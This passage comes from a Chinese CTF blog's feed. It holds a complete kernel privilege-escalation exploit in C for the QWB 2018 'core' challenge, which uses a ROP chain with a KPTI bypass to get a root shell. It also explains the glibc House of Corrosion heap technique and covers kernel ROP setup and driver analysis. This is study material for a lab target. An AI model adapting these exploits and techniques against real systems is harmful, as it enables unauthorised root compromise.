user_cs, cs;&quot;</span><br><span class="line">        &quot;mov user_ss, ss;&quot;</span><br><span class="line">        &quot;mov user_sp, rsp;&quot;</span><br><span class="line">        &quot;pushf;&quot;</span><br><span class="line">        &quot;pop user_rflags;&quot;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void get_shell()&#123;</span><br><span class="line">system(&quot;/bin/sh&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int fd ;</span><br><span class="line">    size_t tmp;</span><br><span class="line">    char buf[0x50];</span><br><span class="line">    size_t rop[0x100];</span><br><span class="line">    size_t vmlinux_base,canary,core_base;</span><br><span class="line">    size_t commit_creds = 0x9c8e0;</span><br><span class="line">    size_t prepare_kernel_cred = 0x9cce0;</span><br><span class="line">    save_status();</span><br><span class="line">    fd = open(&quot;/proc/core&quot;,O_RDWR); //程序创造了一个接口，所以我们需要把这个接口给打开 ，这样才能进行函数调用</span><br><span class="line">    if(fd &lt; 0) &#123;</span><br><span class="line">        printf(&quot;Open /proc/core error!\n&quot;);</span><br><span class="line">        exit(0);</span><br><span class="line">    &#125;</span><br><span class="line">    setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ，而且v5的数据类型是char类型。</span><br><span class="line">    core_read(fd,buf); //把canary读入用户态的buf </span><br><span class="line">    size_t pop_rdi = 0x000b2f;</span><br><span class="line">    size_t push_rax = 0x02d112;</span><br><span class="line">    size_t swapgs = 0x0d6;</span><br><span class="line">    size_t iretq ;</span><br><span class="line">    size_t xchg = 0x16684f0;</span><br><span class="line">    size_t call_rax = 0x40398;</span><br><span class="line">    size_t pop_rcx = 0x21e53;</span><br><span class="line">    size_t pop_rbp = 0x3c4;</span><br><span class="line">    size_t pop_rdx = 0xa0f49;</span><br><span class="line">    size_t mov_rdi_rax_call_rdx = 0x01aa6a;</span><br><span class="line">    //此时buf的前八个字节是我们的canary</span><br><span class="line">    canary = (*(size_t *)(&amp;buf[0]));</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] Canary  &gt;&gt; %p.\033[0m\n&quot;,canary);</span><br><span class="line">    core_base = (*(size_t *)(&amp;buf[2*8])) - 0x19b;</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] core_base  &gt;&gt; %p.\033[0m\n&quot;,core_base);</span><br><span class="line">    vmlinux_base = (*(size_t *)(&amp;buf[4*8]) - 0x1dd6d1);</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] vmlinux_base  &gt;&gt; %p.\033[0m\n&quot;,vmlinux_base);</span><br><span class="line">    pop_rdi += vmlinux_base;</span><br><span class="line">    pop_rcx += vmlinux_base;</span><br><span class="line">    pop_rbp += vmlinux_base;</span><br><span class="line">    pop_rdx += vmlinux_base;</span><br><span class="line">    mov_rdi_rax_call_rdx += vmlinux_base;</span><br><span class="line">    swapgs += core_base;</span><br><span class="line">    iretq = 0x50ac2 + vmlinux_base;</span><br><span class="line">    commit_creds += vmlinux_base;</span><br><span class="line">    prepare_kernel_cred += vmlinux_base;</span><br><span class="line">    size_t swapgs_restore_regs_and_return_to_usermode = 0xa008da + vmlinux_base;</span><br><span class="line">    int i = 0;</span><br><span class="line">    for(i=0;i&lt;10;i++)&#123;</span><br><span class="line">        rop[i] = canary;</span><br><span class="line">    &#125;</span><br><span class="line">    i = 10;</span><br><span class="line">    rop[i++] = pop_rdi; </span><br><span class="line">    rop[i++] = 0;</span><br><span class="line">    rop[i++] = prepare_kernel_cred;</span><br><span class="line">    rop[i++] = pop_rdx;</span><br><span class="line">    rop[i++] = pop_rcx;</span><br><span class="line">    rop[i++] = mov_rdi_rax_call_rdx;</span><br><span class="line">    rop[i++] = commit_creds;</span><br><span class="line">    rop[i++] = swapgs_restore_regs_and_return_to_usermode+22; </span><br><span class="line">    rop[i++] = 0;</span><br><span class="line">    rop[i++] = 0;</span><br><span class="line">    rop[i++] = (size_t)get_shell;</span><br><span class="line">    rop[i++] = user_cs;</span><br><span class="line">    rop[i++] = user_rflags;</span><br><span class="line">    rop[i++] = user_sp;</span><br><span class="line">    rop[i++] = user_ss;</span><br><span class="line">    write(fd,rop,i*8);</span><br><span class="line">    core_copy_func(fd,0xf000000000000000+i*8);</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] Attack Success! .\033[0m&quot;);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012752743.png"                      alt="image-20250720185702429"                ></p><p>成功提权</p><h2 id="参考链接："><a href="#参考链接：" class="headerlink" title="参考链接："></a>参考链接：</h2><p><a class="link"   href="https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass/" >https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/16110.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/16110.html"/>
    <published>2025-08-09T17:26:50.000Z</published>
    <summary>
      <![CDATA[<h1 id="Kernel-ROP-with-KPTI-bypass"><a href="#Kernel-ROP-with-KPTI-bypass" class="headerlink" title="Kernel ROP with KPTI]]>
    </summary>
    <title>Kernel初识 - Kernel ROP with KPTI bypass</title>
    <updated>2025-08-09T17:28:37.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="House of 系列手法" scheme="https://spacedrag0n-1.github.io/tags/House-of-%E7%B3%BB%E5%88%97%E6%89%8B%E6%B3%95/"/>
    <content>
      <![CDATA[<h1 id="House-of-corrosion"><a href="#House-of-corrosion" class="headerlink" title="House of corrosion"></a>House of corrosion</h1><h3 id="利用范围："><a href="#利用范围：" class="headerlink" title="利用范围："></a>利用范围：</h3><ul><li>2.23  -  至今</li></ul><h3 id="利用效果："><a href="#利用效果：" class="headerlink" title="利用效果："></a>利用效果：</h3><ul><li>任意地址读</li><li>任意地址写</li><li>任意地址值转移</li></ul><h3 id="利用条件："><a href="#利用条件：" class="headerlink" title="利用条件："></a>利用条件：</h3><ul><li><p>需要一个UAF漏洞</p></li><li><p>可以分配较大的堆块（size &lt;&#x3D; 0x3b00）</p></li><li><p>不需要泄露地址</p></li></ul><h3 id="利用原理："><a href="#利用原理：" class="headerlink" title="利用原理："></a>利用原理：</h3><p>House of corrosion 是一个针对于 global_max_fast 的相关利用技巧 ，通过一些其他的手法 ，把 global_max_fast 修改成一个极大值 ，比如 unsortedbin attack 、largebinattack 、tcache stashing unlink 等 （利用 unsortedbin attack 时不需要泄露地址，爆破 1&#x2F;16 即可） ，于是我们就可以实现任意地址读写的功能 。</p><p>要想知道 House of corrosion 的具体原理 ，我们就要知道 global_max_fastbin 是什么 。</p><p><code>global_max_fast</code> 是 glibc 堆管理器（ptmalloc2）中的一个全局变量，用于定义 <code>fastbins</code> 的最大 chunk 大小 。它决定了哪些内存块会被放入 <code>fastbins</code> 进行快速分配和释放，而不是进入更慢的 <code>smallbins</code> 或<code>unsorted bin</code> ，在引入tcachebin之前（GLIBC2.27之前），<code>global_max_fast</code> 的默认值为 0x80 也就是 <code>fastbin</code> 的size默认范围在 [0x20,0x80] </p><p>如果我们往 <code>global_max_fast</code> 输入一个极大值的话，我们就可以造成 <code>fastbinY</code> 数组溢出 , 这样会使得我们在 malloc 和 free 堆块的时候 ，很大的 size 堆块都会被判定为是 <code>fastbin</code> 类型的堆块，<code>fastbinY</code> 是在glibc上储存<code>fastbin</code>不同大小链表头指针的一段空间，为大小从 0x20 开始的 <code>fastbin</code> 链表预留了十个指针 。</p><p>这就意味着，如果有size超过 0xb0 大小的堆块，那么这个堆块的索引值就会超出 <code>fastbinsY</code> 的最大范围 ，造成数组越界 ，通过这个原理，我们就可以把 <code>fastbinY</code>溢出到我们想要的位置 。</p><h3 id="利用技巧："><a href="#利用技巧：" class="headerlink" title="利用技巧："></a>利用技巧：</h3><p><strong>溢出到目标位置的计算公式：</strong></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chunk size = (chunk addr - &amp;main_arena.fastbinsY) x 2 + 0x2</span><br></pre></td></tr></table></figure></div><h4 id="读原语："><a href="#读原语：" class="headerlink" title="读原语："></a>读原语：</h4><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250808164333637.png"                      alt="image-20250808153203066" style="zoom: 50%;"                 ><p>想要读取到目标地址 <code>X</code> 上的 <code>Y</code>，我们可以通过释放<code>fastbin A</code> 到 <code>X</code> 处 , 这样我们的 <code>A</code> 的 <code>fd</code> 指针就指向了 <code>Y</code> ，通过打印就可以打印出 <code>Y</code> 的信息 。</p><h4 id="写原语1："><a href="#写原语1：" class="headerlink" title="写原语1："></a>写原语1：</h4><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250808164339824.png"                      alt="image-20250808153403693" style="zoom: 67%;"                 ><p>通过释放 <code>fastbin A</code> 到目标地址 <code>X</code> ，然后使用UAF漏洞修改 <code>A</code> 的 <code>fd</code> 指针为目标值<code>B</code> ，然后把 <code>A</code> 申请回来，这样我们就可以向 <code>X</code> 写入目标值 <code>B</code> 。</p><h4 id="写原语2："><a href="#写原语2：" class="headerlink" title="写原语2："></a>写原语2：</h4><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250808164341567.png"                      alt="image-20250808154110778" style="zoom:67%;"                 ><p>我们想要把地址 <code>M</code> 上的 <code>N</code> 转移到 <code>X</code> 上 </p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250808164343070.png"                      alt="image-20250808154338784" style="zoom:67%;"                 ><p>就可以先通过UAF，部分写 <code>A</code> 的 <code>fd</code> 指针使其指向本身 ，形成类似 double free 的情况 </p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250808164348004.png"                      alt="image-20250808154731342" style="zoom:67%;"                 ><p>再把 <code>A</code> 给申请回来，纂改 <code>A</code> 的 size ，然后释放掉 <code>A</code> ，使其落到  <code>M</code> 处 ，此时 <code>A</code> 的 <code>fd</code> 指针变成了目标值 <code>N</code> </p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250808164345525.png"                      alt="image-20250808155322692" style="zoom:67%;"                 ><p>再次纂改<code>A</code> 的 size ，使其落入 <code>X</code> ，然后我们把 <code>A</code> 给申请回来，就可以实现转移操作，将地址 <code>M</code> 的值 <code>N</code> 转移到地址 <code>X</code> 上 。</p><h3 id="相关技巧："><a href="#相关技巧：" class="headerlink" title="相关技巧："></a>相关技巧：</h3><p>虽然现在都可以使用 House of corrosion ，但是在 <code>glibc-2.37</code> 版本中 ，<code>global_max_fast</code> 的数据类型被修改成了 <code>int8_u</code> ，进而导致可控的空间范围大幅度缩小 。</p><h3 id="组合利用："><a href="#组合利用：" class="headerlink" title="组合利用："></a>组合利用：</h3><p>House of corrosion 可以和多数手法组合利用，达到意想不到的效果，就比如可以结合 House of husk ，将 <code>__printf_arginfo_table</code>以及 <code>__printf_function_table</code> 修改成已知堆块地址然后进行进一步攻击，又或者说是 House of apple2 ，劫持 <code>_IO_list_all</code> 到已知堆块地址，进行 <code>IO_FILE</code>的伪造，又或是说可以结合 House of kiwi ，由于 House of kiwi 的手法利用需要触发 <code>assert</code> ，所以我们可以利用 House of corrosion 来修改 Topchunk 的 size ，使其变得不合法 ，再次申请大于写入 size 的堆块就能触发 <code>assert</code> ，总而言之，House of corrosion 的利用可以配合其他攻击手法，让我们的攻击更加灵活，还有很多组合利用方式，可以自己发挥想象。</p><h2 id="参考链接："><a href="#参考链接：" class="headerlink" title="参考链接："></a>参考链接：</h2><p><a class="link"   href="https://xz.aliyun.com/news/6458" >https://xz.aliyun.com/news/6458<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://zhuanlan.zhihu.com/p/448880453" >https://zhuanlan.zhihu.com/p/448880453<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#29-house-of-corrosion" >https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#29-house-of-corrosion<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/16109.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/16109.html"/>
    <published>2025-08-08T08:38:21.000Z</published>
    <summary>
      <![CDATA[<h1 id="House-of-corrosion"><a href="#House-of-corrosion" class="headerlink" title="House of corrosion"></a>House of corrosion</h1><h3]]>
    </summary>
    <title>House of Corrosion</title>
    <updated>2025-08-08T09:26:42.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="Kernel Pwn" scheme="https://spacedrag0n-1.github.io/tags/Kernel-Pwn/"/>
    <content>
      <![CDATA[<h1 id="Kernel-ROP"><a href="#Kernel-ROP" class="headerlink" title="Kernel ROP"></a>Kernel ROP</h1><p>ROP 即<code>返回导向编程</code>（Return-oriented programming），应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流。</p><p><strong>内核态的 ROP 与用户态的 ROP 一般无二，只不过利用的 gadget 变成了内核中的 gadget，所需要构造执行的 ropchain 由</strong> <code>system(&quot;/bin/sh&quot;)</code> <strong>变为了</strong> <code>commit_creds(&amp;init_cred)</code> 或 <code>commit_creds(prepare_kernel_cred(NULL))</code>，当我们成功地在内核中执行这样的代码后，当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝，我们也就获得了 root 权限，此时在用户态起一个 shell 便能获得 root shell。</p><h2 id="状态保存"><a href="#状态保存" class="headerlink" title="状态保存"></a>状态保存</h2><p>通常情况下，我们的 exploit 需要进入到内核当中完成提权，而我们最终仍然需要<strong>着陆回用户态</strong>以获得一个 root 权限的 shell，因此在我们的 exploit 进入内核态之前我们需要<strong>手动模拟用户态进入内核态的准备工作</strong>——<strong>保存各寄存器的值到内核栈上</strong>，以便于后续着陆回用户态。</p><p>通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链：</p><p>算是一个通用的 pwn 板子。</p><p>方便起见，使用了内联汇编，由于编写风格是 Intel 汇编，编译时需要指定参数：<code>-masm=intel</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">size_t user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"></span><br><span class="line">void save_status(void)</span><br><span class="line">&#123;</span><br><span class="line">    asm volatile (</span><br><span class="line">        &quot;mov user_cs, cs;&quot;</span><br><span class="line">        &quot;mov user_ss, ss;&quot;</span><br><span class="line">        &quot;mov user_sp, rsp;&quot;</span><br><span class="line">        &quot;pushf;&quot;</span><br><span class="line">        &quot;pop user_rflags;&quot;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="返回用户态"><a href="#返回用户态" class="headerlink" title="返回用户态"></a>返回用户态</h2><p>由内核态返回用户态只需要：</p><ul><li><code>swapgs</code> 指令恢复用户态 GS 寄存器</li><li><code>sysretq</code> 或者 <code>iretq</code> 恢复到用户空间</li></ul><p>那么我们只需要在内核中找到相应的 gadget 并执行 <code>swapgs;iretq</code> 就可以成功着陆回用户态。</p><p>通常来说，我们应当构造如下 rop 链以返回用户态并获得一个 shell：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">↓   swapgs</span><br><span class="line">0</span><br><span class="line">    iretq</span><br><span class="line">    user_shell_addr</span><br><span class="line">    user_cs</span><br><span class="line">    user_eflags //64bit user_rflags</span><br><span class="line">    user_sp</span><br><span class="line">    user_ss</span><br></pre></td></tr></table></figure></div><p>需要注意的是，在返回用户态执行 <code>system()</code> 函数时同样有可能遇到栈不平衡导致函数执行失败并最终 Segmentation Fault 的问题，因此在本地调试时若遇到此类问题，则可以将 <code>user_sp</code> 的值加减 <code>8</code> 以进行调整。</p><h2 id="gdb调试"><a href="#gdb调试" class="headerlink" title="gdb调试"></a>gdb调试</h2><p>首先修改init文件，添加以下命令，以便可以获取core.ko的代码段的基址。这样内核启动时就是root权限，当然这是为了调试方便，真正执行exp可以去掉这条命令 。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setsid /bin/cttyhack setuidgid 0 /bin/sh</span><br></pre></td></tr></table></figure></div><p>然后重新打包文件系统，运行start.sh起内核，在qemu中查找core.ko的.text段的地址：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/ # cat /sys/module/core/sections/.text</span><br><span class="line">0xffffffffc0205000</span><br></pre></td></tr></table></figure></div><p>在另外一个terminal中启动gdb：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb ./vmlinux -q</span><br></pre></td></tr></table></figure></div><p>然后添加core.ko的符号表，加载了符号表之后就可以直接对函数名下断点了。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ add-symbol-file ./core.ko 0xffffffffc0205000</span><br><span class="line">add symbol table from file &quot;./core.ko&quot; at</span><br><span class="line">  .text_addr = 0xffffffffc0205000</span><br><span class="line">Reading symbols from ./core.ko...(no debugging symbols found)...done.</span><br></pre></td></tr></table></figure></div><p>然后运行以下命令连接qemu进行调试：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">target remote localhost:1234</span><br></pre></td></tr></table></figure></div><h2 id="exp编译"><a href="#exp编译" class="headerlink" title="exp编译"></a>exp编译</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc exploit.c -static -masm=intel -g -o exploit</span><br></pre></td></tr></table></figure></div><h2 id="例题：强网杯-2018-core"><a href="#例题：强网杯-2018-core" class="headerlink" title="例题：强网杯 2018 - core"></a>例题：强网杯 2018 - core</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184832224.png"                      alt="image-20250807183616766"                ></p><p>题目给了我们四个文件分别是 bzImage 、core.cpio 、start.sh 、vmlinux </p><p>core.cpio 是一个打包文件，解包里面有文件系统 ，其中 vmlinux 命名的是内核的二进制文件， 而 core.ko 是存在漏洞的驱动，也就是题目分析的二进制文件 。</p><p>start.sh 是启动脚本 ，标明启动方法、保护措施等。</p><p>bzImage 是镜像文件 </p><p>类比用户态的pwn，.ko 文件就是 binary 文件 ，vmlinux 就是 libc ，不同保护机制是由如何启动来决定的 。</p><p>如果题目中没有提供 vmlinux ，那么我们可以通过<code> ./extract-vmlinux ./bzImage &gt; vmlinux</code> 来从镜像文件中提取 vmlinux 。</p><p>和用户态做题思路一致，我们可以先观察一下程序开启了什么样的保护 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184843577.png"                      alt="image-20250714121645586"                ></p><p><code>qemu-system-x86_64 </code> 代表的是模拟 x86_64 架构的计算机系统 。</p><p><code>-m 256M </code> 代表的是内核的运行内存大小分配，其实题目一开始是分配 64M 大小的内存空间，但是我发现启动不了，于是我就把这个调到 256M 了 ，</p><p><code>-kernel ./bzlmage</code> 指定要启动的 Linux 内核镜像文件 。bzImage 属于压缩格式的镜像文件，是 Linux 内核编译后生成的可执行文件。</p><p><code>initrd ./core.cpio</code> 这是用来指定初始化 RAM 磁盘 (initrd) 的文件。initrd 是一个临时的根文件系统 ，在 Linux 内核的早期阶段会被加载。它包含了内核启动所需要的基本驱动程序和工具 。</p><p><code>-append &quot;root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr&quot;</code> 此参数用于向内核传递启动参数</p><ul><li><code>root=/dev/ram</code> 告知内核根文件系统位于 RAM 中，也就是之前通过 <code>-initrd</code> 参数指定的 initrd 。</li><li><code>rw</code>： 将跟文件系统设置为可读写模式 。</li><li><code>console=ttys0</code>：把串口（ttyS0）设置为控制台 ，这样所有输出的信息都会通过串口显示，这在<code>-nographic</code> 模式下尤为重要 。</li><li><code>oops=panic</code>：当系统文件出现严重（oops）时 ，让内核直接进入 panic 状态 。</li><li><code>panic=1</code>：内核进入 panic 状态后 ，1 秒后自动重启系统 。</li><li><code>quiet</code>：开启静默启动模式，只显示关键的启动信息，减少不必要的输出 。</li><li><code>kaslr</code>：启用内核地址空间布局随机化（KASLR），增强系统的安全性 。</li></ul><p><strong>-s</strong></p><p>这个是 <code>-gdb tcp::1234</code> 的简写形式 ，其功能是在 TCP 端口 1234 上开启 GDB 调试服务器 。通过这个服务器，你可以使用 GDB 远程调试内核 。</p><p><code>-netdev user,id=t0 -device e1000,netdev=t0,id=nic0</code></p><p>这部分用于配置虚拟机的网络设备：</p><ul><li><code>-netdev user,id=t0</code>：创建一个用户模式的网络设备，设备 ID 为 t0。这种网络模式提供了简单的网络功能，支持 NAT 转换，能让虚拟机访问外部网络。</li><li><code>-device e1000,netdev=t0,id=nic0</code>：为虚拟机添加一个 e1000 型号的网卡，该网卡连接到之前创建的网络设备 t0，网卡 ID 为 nic0。</li></ul><p><code>-nographic</code></p><p>该参数用于禁用图形输出，让 QEMU 以纯文本模式运行。此时，虚拟机的控制台输出会通过串口（ttyS0）显示在终端上，这对于没有图形界面的系统调试非常实用。</p><p>这些参数有的只要了解一个大概就行了 ，主要我们还是看内核的架构和保护 ，这道题目只开启了 <code>kaslr</code> ,也就是空间地址随机化。</p><p>接下来我们解压打包文件 ，查看文件系统，我之前用 Ubuntu 的时候，双击这个 core.cpio 就可以一键解压这个打包文件了 ，但是我后面换到了 WSL - Ubuntu-22.04 ，也就是子系统Ubuntu，但是它好像不支持这个快捷解压方式 ，所以我只能通过以下一些命令来对这个 core.cpio 进行一个解压：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mkdir core</span><br><span class="line">cd core </span><br><span class="line">mv ../core.cpio core.cpio.gz</span><br><span class="line">gunzip ./core.cpio.gz</span><br><span class="line">cpio -idm &lt; ./core.cpio</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184847836.png"                      alt="image-20250714125048599"                ></p><p>这就是解压后的一个文件状态 ，之前说过我们漏洞的主要分析是在这个 core.ko 文件里面的 ，我们先来看一下 init 初始化启动脚本：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184849768.png"                      alt="image-20250714125420323"                ></p><p>这里面我看得也不是很懂，所以我就直接引用 ctfwiki 里面的原话了：</p><ul><li>第 9 行中把 <code>kallsyms</code> 的内容保存到了 <code>/tmp/kallsyms</code> 中，那么我们就能从 <code>/tmp/kallsyms</code> 中读取 <code>commit_creds</code>，<code>prepare_kernel_cred</code> 的函数的地址了。</li><li>第 10 行把 <code>kptr_restrict</code> 设为 1，这样就不能通过 <code>/proc/kallsyms</code> 查看函数地址了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了。</li><li>第 11 行把 <code>dmesg_restrict</code> 设为 1，这样就不能通过 <code>dmesg</code> 查看 kernel 的信息了。</li><li>第 18 行设置了定时关机，为了避免本地做题时产生干扰，我们可以把这句删掉然后重新打包（已经被我删掉了）。</li></ul><p>经过一些前置内核知识的学习 ，由于 kernel pwn 的最终目的是提权到 root ，一种简单方便的方法就是执行</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">commit_creds(prepare_kernel_cred(0));</span><br></pre></td></tr></table></figure></div><p>看来这个 <code>proc/kallsyms</code> 中保存了这两个函数的地址 ，虽然后面关闭了 <code>/proc/kallsyms</code> 的读取，但是好在我们的init初始化脚本给我们保存到了 <code>/tmp/kallsyms</code> ，我们后面可以在这里进行一个函数地址的读取 。</p><p>修改完成之后，我们先删除之前的打包文件 core.cpio , 然后我们再次对文件系统进行一个打包 。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184854209.png"                      alt="image-20250714130526337"                ></p><p>由于题目给了我们一个方便打包的脚本，所以我们可以利用这个快速打包。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rm core.cpio</span><br><span class="line">./gen_cpio.sh core.cpio</span><br></pre></td></tr></table></figure></div><p>打包好之后我们就可以获得一个新的 core.cpio 文件 ，我们将这个core.cpio文件移到之前的文件夹，然后退出 core 文件夹 ，尝试使用 start.sh 启动脚本对内核进行一个启动。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184855820.png"                      alt="image-20250714131039009"                ></p><p>这就是启动成功的一个状态，可以看到 vscode 提示我们开启了一个端口 ，就是之前在 start.sh 启动文件设置的 <code>-s</code> ，在 TCP::1234 端口上开启一个 GDB 的远程调试服务器， 我们就可以通过这个端口来调试内核了 。</p><p>exit 退出内核， 我们开始前往 core 文件夹分析 core.ko 的程序漏洞 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184934247.png"                      alt="image-20250714131514614"                ></p><p>amd64架构 ，canary保护 ，NX保护 ，我们接着用 IDA 打开这个 core.ko</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184936729.png"                      alt="image-20250714142935369"                ></p><p>init_module 函数创造了 &#x2F;proc&#x2F;core 接口 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184857725.png"                      alt="image-20250714143020452"                ></p><p>exit_core 函数删除了 &#x2F;proc&#x2F;core 接口</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184859253.png"                      alt="image-20250714143838810"                ></p><p>交互函数 core_ioctl（）定义了三条命令 ，分别是调用 core_read（），core_copy_func（）和设置全局变量 off ：</p><p>core_read（）：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184900774.png"                      alt="image-20250714143959039"                ></p><p>从 v5[off] 拷贝 64 个字节到用户空间 ，由于全局变量off是我们可以控制的，所以我们可以合理的控制 <code>off</code> 来 leak canary 和栈上的一些其他数据 。</p><p>core_copy_func（）：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184902057.png"                      alt="image-20250714150656178"                ></p><p>我们的漏洞主要出现在这里 ，这里从 name 区域复制了a1个字节的数据到v2 ，但是我们这个a1前面有个检查要求小于等于63 ，可是我们通过观察数据类型发现， a1的数据类型由 int64 转化成了 unsigned __int16 ，也就是由有符号转化成无符号数据类型，这个时候，我们就可以让 a1 等于一个小于0的数据，比如说是0xffffffffffff0000|(0x100) ，我们就可以绕过这个检查，实现栈溢出 。</p><p>core_write（）：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184939174.png"                      alt="image-20250714151027661"                ></p><p>core_write（）向全局变量 name 上写 ，所以我们通过 core_write 和 core_copy_func 函数就可以完成 ROPchain 到内核空间的拷贝和执行 。</p><h3 id="解题思路（来自ctfkiwi的总结）"><a href="#解题思路（来自ctfkiwi的总结）" class="headerlink" 